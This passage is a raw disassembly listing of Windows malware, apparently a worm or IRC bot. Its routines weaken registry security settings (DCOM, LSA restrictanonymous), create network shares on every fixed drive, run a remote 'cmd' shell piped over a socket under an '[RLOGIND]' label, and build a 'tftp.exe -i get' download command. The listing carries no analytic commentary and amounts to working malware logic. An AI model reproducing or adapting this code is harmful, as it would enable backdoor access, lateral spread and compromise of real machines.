		push	offset aSecureEnableDc ; "[SECURE]: Enable DCOM	failed."
		jmp	short loc_4102BB
; ---------------------------------------------------------------------------


loc_4102B6:				; CODE XREF: sub_410242+6Bj
		push	offset aSecureDcomEnab ; "[SECURE]: DCOM enabled."


loc_4102BB:				; CODE XREF: sub_410242+72j
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4358C4	; RegCloseKey
		jmp	short loc_4102E1
; ---------------------------------------------------------------------------


loc_4102CE:				; CODE XREF: sub_410242+36j
		lea	eax, [ebp+var_220]
		push	offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM	registry "...
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_4102E1:				; CODE XREF: sub_410242+8Aj
		cmp	[ebp+arg_C], ebx
		jnz	short loc_410300
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_410300:				; CODE XREF: sub_410242+A2j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401EFF
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_435910	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41036A
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4357CC	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_410352
		push	offset aSecureFailed_5 ; "[SECURE]: Failed to unrestrict access	t"...
		jmp	short loc_410357
; ---------------------------------------------------------------------------


loc_410352:				; CODE XREF: sub_410242+107j
		push	offset aSecureUnrestri ; "[SECURE]: Unrestricted access	to the IP"...


loc_410357:				; CODE XREF: sub_410242+10Ej
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4358C4	; RegCloseKey
		jmp	short loc_410384
; ---------------------------------------------------------------------------


loc_41036A:				; CODE XREF: sub_410242+E3j
		push	offset aSecureFailed_6 ; "[SECURE]: Failed to open IPC$	restricti"...
		jmp	short loc_410376
; ---------------------------------------------------------------------------


loc_410371:				; CODE XREF: sub_410242+13j
		push	offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"...


loc_410376:				; CODE XREF: sub_410242+12Dj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_410384:				; CODE XREF: sub_410242+126j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4103A3
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_4103A3:				; CODE XREF: sub_410242+145j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401EFF
		cmp	dword_435970, ebx
		pop	ecx
		jnz	loc_410516
		push	edi
		xor	esi, esi
		mov	edi, 200h


loc_4103C4:				; CODE XREF: sub_410242+1EFj
		push	dword_42C36C[esi]
		push	off_42C368[esi]
		push	ebx
		call	sub_4070E5
		add	esp, 0Ch
		push	off_42C368[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_4103F0
		push	offset aSecureShareSAd ; "[SECURE]: Share '%s' added."
		jmp	short loc_4103F5
; ---------------------------------------------------------------------------


loc_4103F0:				; CODE XREF: sub_410242+1A5j
		push	offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share."


loc_4103F5:				; CODE XREF: sub_410242+1ACj
		push	edi
		push	eax
		call	sub_41483D
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41041E
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_41041E:				; CODE XREF: sub_410242+1C0j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401EFF
		add	esi, 8
		cmp	esi, 10h
		pop	ecx
		jb	short loc_4103C4
		call	ds:dword_420124	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_4104FE


loc_410446:				; CODE XREF: sub_410242+2B6j
		test	byte ptr [ebp+var_4], 1
		jz	loc_4104F3
		cmp	bl, 41h
		jz	loc_4104F3
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41483D
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41483D
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_435774	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_4104F3
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_4070E5
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_4104B7
		push	offset aSecureShareSAd ; "[SECURE]: Share '%s' added."
		jmp	short loc_4104BC
; ---------------------------------------------------------------------------


loc_4104B7:				; CODE XREF: sub_410242+26Cj
		push	offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share."


loc_4104BC:				; CODE XREF: sub_410242+273j
		push	edi
		push	eax
		call	sub_41483D
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_4104E6
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_4104E6:				; CODE XREF: sub_410242+288j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401EFF
		pop	ecx


loc_4104F3:				; CODE XREF: sub_410242+208j
					; sub_410242+211j ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_410446


loc_4104FE:				; CODE XREF: sub_410242+1FEj
		lea	eax, [ebp+var_220]
		push	offset aSecureNetwor_0 ; "[SECURE]: Network shares added."
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		xor	ebx, ebx
		pop	edi
		jmp	short loc_410529
; ---------------------------------------------------------------------------


loc_410516:				; CODE XREF: sub_410242+174j
		lea	eax, [ebp+var_220]
		push	offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"...
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx


loc_410529:				; CODE XREF: sub_410242+2D2j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_410547
		push	ebx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_410547:				; CODE XREF: sub_410242+2EAj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_401EFF
		pop	ecx
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_410242	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41055B	proc near		; CODE XREF: sub_41055B+1Cj
					; DATA XREF: sub_40E745+3B4o
		push	1
		push	0
		push	0
		push	0
		call	sub_40FF1B
		add	esp, 10h
		push	dword_42C364
		call	ds:dword_420000	; Sleep
		jmp	short sub_41055B
sub_41055B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_410579	proc near		; DATA XREF: sub_408A18+4ECCo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		cmp	[ebp+74h+var_10], 0
		push	[ebp+74h+var_8]
		mov	dword ptr [eax+94h], 1
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		jz	short loc_4105B7
		call	sub_40FF1B
		jmp	short loc_4105BC
; ---------------------------------------------------------------------------


loc_4105B7:				; CODE XREF: sub_410579+35j
		call	sub_410242


loc_4105BC:				; CODE XREF: sub_410579+3Cj
		add	esp, 10h
		push	[ebp+74h+var_14]
		call	sub_412735
		pop	ecx
		push	0
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_410579	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105D1	proc near		; CODE XREF: sub_41084F+98p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	esi
		push	edi
		push	11h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_58]
		rep stosd
		lea	edi, [ebp+var_14]
		stosd
		xor	esi, esi
		stosd
		stosd
		stosd
		mov	eax, [ebp+arg_0]
		mov	edi, ds:dword_4200E0
		push	esi
		push	1
		mov	[ebp+var_20], eax
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		mov	[ebp+var_4], esi
		mov	[ebp+var_58], 44h
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_420110	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	ds:dword_420038	; CreateProcessA
		test	eax, eax
		jz	short loc_410681
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_436688[eax], ecx
		call	ds:dword_42003C	; CloseHandle
		jmp	short loc_410697
; ---------------------------------------------------------------------------


loc_410681:				; CODE XREF: sub_4105D1+8Ej
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_2 ; "[RLOGIND]: Failed to execute shell, err"...
		call	sub_401F73
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410697:				; CODE XREF: sub_4105D1+AEj
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4105D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_41069D	proc near		; DATA XREF: sub_41094B+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 1B0h
		push	ebx
		mov	ebx, ds:dword_42008C
		push	esi
		push	edi
		mov	edi, [ebp+74h+arg_0]
		jmp	short loc_4106FF
; ---------------------------------------------------------------------------


loc_4106B6:				; CODE XREF: sub_41069D+77j
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+74h+arg_0], eax
		jbe	short loc_4106E8


loc_4106C1:				; CODE XREF: sub_41069D+49j
		mov	cl, [ebp+esi+74h+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_4106D8
		cmp	dl, 0Dh
		jz	short loc_4106D8
		mov	[ebp+eax+74h+var_1B0], 0Dh
		inc	eax


loc_4106D8:				; CODE XREF: sub_41069D+2Bj
					; sub_41069D+30j
		mov	[ebp+eax+74h+var_1B0], cl
		inc	eax
		inc	esi
		cmp	esi, [ebp+74h+arg_0]
		mov	dl, cl
		jb	short loc_4106C1


loc_4106E8:				; CODE XREF: sub_41069D+22j
		push	0
		push	eax
		lea	eax, [ebp+74h+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43587C	; send
		test	eax, eax
		jle	short loc_410716


loc_4106FF:				; CODE XREF: sub_41069D+17j
		push	0
		lea	eax, [ebp+74h+arg_0]
		push	eax
		push	0C8h
		lea	eax, [ebp+74h+var_C8]
		push	eax
		push	dword ptr [edi]
		call	ebx	; ReadFile
		test	eax, eax
		jnz	short loc_4106B6


loc_410716:				; CODE XREF: sub_41069D+60j
		mov	esi, ds:dword_420008
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_410732
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"...
		call	sub_401F73
		pop	ecx
		pop	ecx


loc_410732:				; CODE XREF: sub_41069D+84j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn
sub_41069D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_41073A	proc near		; DATA XREF: sub_41094B+75o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+74h+arg_0]
		xor	esi, esi
		mov	[ebp+74h+var_10], ebx
		jmp	loc_41082C
; ---------------------------------------------------------------------------


loc_410757:				; CODE XREF: sub_41073A+107j
		cmp	[ebp+74h+var_10], ebx
		jbe	short loc_410764
		dec	[ebp+74h+var_10]
		jmp	loc_41082F
; ---------------------------------------------------------------------------


loc_410764:				; CODE XREF: sub_41073A+20j
		mov	al, byte ptr [ebp+74h+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_410817
		cmp	al, 8
		mov	[ebp+74h+var_C], ebx
		jz	short loc_4107CE
		cmp	al, 7Fh
		jz	short loc_4107CE
		cmp	al, 3
		jnz	short loc_41078F
		push	ebx
		push	ebx
		call	ds:dword_420128	; GenerateConsoleCtrlEvent
		jmp	short loc_4107F5
; ---------------------------------------------------------------------------


loc_41078F:				; CODE XREF: sub_41073A+49j
		cmp	al, 15h
		jnz	short loc_4107B1
		xor	esi, esi
		mov	[ebp+74h+var_8], 20h
		mov	[ebp+74h+var_7], 58h
		mov	[ebp+74h+var_6], 58h
		mov	[ebp+74h+var_5], 58h
		mov	[ebp+74h+var_4], 0Dh
		mov	[ebp+74h+var_3], 0Ah
		push	6
		jmp	short loc_4107E1
; ---------------------------------------------------------------------------


loc_4107B1:				; CODE XREF: sub_41073A+57j
		xor	ecx, ecx
		mov	[ebp+esi+74h+var_DC], al
		inc	esi
		inc	ecx
		cmp	al, 0Dh
		mov	[ebp+74h+var_8], al
		jnz	short loc_4107E2
		mov	[ebp+esi+74h+var_DC], 0Ah
		mov	[ebp+74h+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_4107E1
; ---------------------------------------------------------------------------


loc_4107CE:				; CODE XREF: sub_41073A+41j
					; sub_41073A+45j
		cmp	esi, ebx
		jbe	short loc_4107F8
		dec	esi
		mov	[ebp+74h+var_8], 8
		mov	[ebp+74h+var_7], 20h
		mov	[ebp+74h+var_6], 8
		push	3


loc_4107E1:				; CODE XREF: sub_41073A+75j
					; sub_41073A+92j
		pop	ecx


loc_4107E2:				; CODE XREF: sub_41073A+84j
		push	ebx
		push	ecx
		lea	eax, [ebp+74h+var_8]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43587C	; send
		test	eax, eax
		jle	short loc_410847


loc_4107F5:				; CODE XREF: sub_41073A+53j
		mov	al, byte ptr [ebp+74h+arg_0+3]


loc_4107F8:				; CODE XREF: sub_41073A+96j
		cmp	al, 0Dh
		jnz	short loc_41082F
		push	ebx
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	esi
		lea	eax, [ebp+74h+var_DC]
		push	eax
		push	dword ptr [edi+4]
		call	ds:dword_420040	; WriteFile
		test	eax, eax
		jz	short loc_410847
		xor	esi, esi
		jmp	short loc_41082F
; ---------------------------------------------------------------------------


loc_410817:				; CODE XREF: sub_41073A+36j
		cmp	[ebp+74h+var_C], ebx
		jnz	short loc_410825
		mov	[ebp+74h+var_C], 1
		jmp	short loc_41082F
; ---------------------------------------------------------------------------


loc_410825:				; CODE XREF: sub_41073A+E0j
		mov	[ebp+74h+var_10], 0Ah


loc_41082C:				; CODE XREF: sub_41073A+18j
		mov	[ebp+74h+var_C], ebx


loc_41082F:				; CODE XREF: sub_41073A+25j
					; sub_41073A+C0j ...
		push	ebx
		push	1
		lea	eax, [ebp+74h+arg_0+3]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43575C	; recv
		test	eax, eax
		jg	loc_410757


loc_410847:				; CODE XREF: sub_41073A+B9j
					; sub_41073A+D7j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn
sub_41073A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41084F	proc near		; CODE XREF: sub_41094B+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_414E7D
		mov	esi, eax
		cmp	esi, edi
		pop	ecx
		jnz	short loc_410874
		xor	eax, eax
		jmp	loc_410947
; ---------------------------------------------------------------------------


loc_410874:				; CODE XREF: sub_41084F+1Cj
		push	ebx
		push	edi
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		lea	ebx, [esi+4]
		mov	[ebx], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ds:dword_420114	; CreatePipe
		test	eax, eax
		mov	edi, ds:dword_42003C
		jnz	short loc_4108B5
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_3 ; "[RLOGIND]: Failed to create shell stdou"...
		jmp	short loc_4108D6
; ---------------------------------------------------------------------------


loc_4108B5:				; CODE XREF: sub_41084F+56j
		push	0
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_420114	; CreatePipe
		test	eax, eax
		jnz	short loc_4108DE
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_4 ; "[RLOGIND]: Failed to create shell stdin"...


loc_4108D6:				; CODE XREF: sub_41084F+64j
		call	sub_401F73
		pop	ecx
		jmp	short loc_41090B
; ---------------------------------------------------------------------------


loc_4108DE:				; CODE XREF: sub_41084F+79j
		push	[ebp+arg_0]
		mov	ebx, [ebp+var_8]
		push	[ebp+var_4]
		call	sub_4105D1
		pop	ecx
		pop	ecx
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410940
		push	offset aRlogindFaile_5 ; "[RLOGIND]: Failed to execute shell."
		call	sub_401EFF


loc_41090B:				; CODE XREF: sub_41084F+8Dj
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410917
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_410917:				; CODE XREF: sub_41084F+C1j
		cmp	[ebp+var_8], 0
		jz	short loc_410922
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_410922:				; CODE XREF: sub_41084F+CCj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41092B
		push	eax
		call	edi	; CloseHandle


loc_41092B:				; CODE XREF: sub_41084F+D7j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410935
		push	eax
		call	edi	; CloseHandle


loc_410935:				; CODE XREF: sub_41084F+E1j
		push	esi
		call	sub_414A14
		pop	ecx
		xor	eax, eax
		jmp	short loc_410946
; ---------------------------------------------------------------------------


loc_410940:				; CODE XREF: sub_41084F+B0j
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410946:				; CODE XREF: sub_41084F+EFj
		pop	ebx


loc_410947:				; CODE XREF: sub_41084F+20j
		pop	edi
		pop	esi
		leave
		retn
sub_41084F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41094B	proc near		; CODE XREF: sub_40F563+1BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_41084F
		imul	edi, 234h
		mov	esi, eax
		mov	eax, dword_43668C[edi]
		mov	edi, ds:dword_42000C
		xor	ebx, ebx
		pop	ecx
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41069D
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_4109BA
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell	s"...
		call	sub_401F73
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		xor	eax, eax
		jmp	loc_410A9A
; ---------------------------------------------------------------------------


loc_4109BA:				; CODE XREF: sub_41094B+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41073A
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_4109FB
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell	s"...
		call	sub_401F73
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	ds:dword_4200F0	; TerminateThread
		xor	eax, eax
		jmp	loc_410A9B
; ---------------------------------------------------------------------------


loc_4109FB:				; CODE XREF: sub_41094B+86j
		mov	eax, [esi+10h]
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	ebx
		lea	eax, [ebp+var_18]
		push	eax
		push	3
		call	ds:dword_42012C	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_410A55
		dec	eax
		jz	short loc_410A4F
		dec	eax
		jz	short loc_410A3B
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"...
		call	sub_401F73
		pop	ecx
		pop	ecx
		jmp	short loc_410A6A
; ---------------------------------------------------------------------------


loc_410A3B:				; CODE XREF: sub_41094B+D9j
		mov	edi, ds:dword_4200F0
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_410A6A
; ---------------------------------------------------------------------------


loc_410A4F:				; CODE XREF: sub_41094B+D6j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410A59
; ---------------------------------------------------------------------------


loc_410A55:				; CODE XREF: sub_41094B+D3j
		push	ebx
		push	dword ptr [esi+14h]


loc_410A59:				; CODE XREF: sub_41094B+108j
		call	ds:dword_4200F0	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	ds:dword_4200E8	; TerminateProcess


loc_410A6A:				; CODE XREF: sub_41094B+EEj
					; sub_41094B+102j
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_42003C
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4358F4	; closesocket
		push	esi
		call	sub_414A14
		xor	eax, eax
		inc	eax


loc_410A9A:				; CODE XREF: sub_41094B+6Aj
		pop	ecx


loc_410A9B:				; CODE XREF: sub_41094B+ABj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41094B	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AA0	proc near		; CODE XREF: sub_410ACC+Ap
					; sub_410CCF+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		lea	edx, [eax+1]


loc_410AA7:				; CODE XREF: sub_410AA0+Cj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_410AA7
		sub	eax, edx
		push	esi
		mov	esi, eax
		mov	eax, [esp+4+arg_4]
		lea	ecx, [eax+1]


loc_410ABA:				; CODE XREF: sub_410AA0+1Fj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_410ABA
		sub	eax, ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	esi
		retn
sub_410AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ACC	proc near		; CODE XREF: sub_410CE6+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_410AA0
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_410AE9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_410AE9:				; CODE XREF: sub_410ACC+17j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]


loc_410AEF:				; CODE XREF: sub_410ACC+28j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_410AEF
		sub	eax, edx
		push	ebx
		mov	edx, eax
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		mov	[ebp+arg_4], edx
		lea	esi, [eax+1]


loc_410B06:				; CODE XREF: sub_410ACC+3Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_410B06
		sub	eax, esi
		mov	ebx, [ebp+arg_0]
		lea	ecx, [eax+edx+12h]
		mov	dword_42C41C, ecx
		push	0FFFFFFEDh
		lea	ecx, [eax+1]
		mov	dword_42C43D, ecx
		lea	ecx, [eax+17h]
		mov	dword_42C435, ecx
		pop	ecx
		sub	ecx, eax
		mov	dword_42C44B, ecx
		push	1Dh
		pop	ecx
		mov	edi, ebx
		mov	esi, offset dword_42C3B8
		rep movsd
		mov	esi, [ebp+arg_8]
		mov	ecx, edx
		shr	ecx, 2
		lea	edi, [ebx+74h]
		rep movsd
		mov	ecx, edx
		mov	edx, [ebp+arg_4]
		and	ecx, 3
		rep movsb
		add	edx, 74h
		lea	edi, [edx+ebx]
		mov	esi, (offset aTftp_exeIGet+0Ch)
		movsd
		movsb
		mov	esi, [ebp+arg_C]
		add	edx, 5
		lea	edi, [edx+ebx]
		mov	ecx, eax
		mov	ebx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		mov	ebx, [ebp+arg_0]
		and	ecx, 3
		rep movsb
		add	edx, eax
		lea	edi, [edx+ebx]
		mov	esi, (offset aTftp_exeIGet+11h)
		movsd
		movsd
		movsd
		movsd
		mov	esi, [ebp+arg_C]
		add	edx, 10h
		mov	ecx, eax
		lea	edi, [edx+ebx]
		mov	ebx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		push	0Eh
		lea	edi, [edx+eax]
		add	edi, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		pop	ecx
		mov	esi, offset byte_42C441
		rep movsd
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410ACC	endp


; =============== S U B	R O U T	I N E =======================================



